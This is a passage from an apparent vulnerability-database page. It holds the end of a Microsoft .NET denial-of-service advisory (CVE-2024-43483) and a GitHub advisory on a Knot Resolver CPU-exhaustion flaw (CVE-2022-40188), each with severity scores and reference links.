8.0 or .NET 6.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n\n### External Links\n\n[CVE-2024-43483]( https://www.cve.org/CVERecord?id=CVE-2024-43483)\n\n### Revisions\n\nV1.0 (October 08, 2024): Advisory published.\n\n_Version 1.0_\n\n_Last Updated 2024-10-08_",
  "id": "GHSA-qj66-m88j-hmgj",
  "modified": "2024-10-14T20:42:13Z",
  "published": "2024-10-08T20:24:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/security/advisories/GHSA-qj66-m88j-hmgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43483"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/runtime"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43483"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Microsoft Security Advisory CVE-2024-43483 | .NET Denial of Service Vulnerability"
}

GHSA-QJ7C-F3XJ-JXPV

Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2025-05-27 15:31
VLAI
Details

Knot Resolver before 5.5.3 allows remote attackers to cause a denial of service (CPU consumption) because of algorithmic complexity. During an attack, an authoritative server must return large NS sets or address sets.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-40188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Knot Resolver before 5.5.3 allows remote attackers to cause a denial of service (CPU consumption) because of algorithmic complexity. During an attack, an authoritative server must return large NS sets or address sets.",
  "id": "GHSA-qj7c-f3xj-jxpv",
  "modified": "2025-05-27T15:31:17Z",
  "published": "2022-09-25T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40188"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.nic.cz/knot/knot-resolver/-/merge_requests/1343#note_262558"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIMDNIUI7GTUEKIBBYYW7OCTJQFPDNXL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S2VE5K3VDUHJOIA2IGT3G5R76IBADMNE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XO6LIVQS62MI5GG4OVYB5RHVZMYNHAHG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HIMDNIUI7GTUEKIBBYYW7OCTJQFPDNXL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S2VE5K3VDUHJOIA2IGT3G5R76IBADMNE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XO6LIVQS62MI5GG4OVYB5RHVZMYNHAHG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list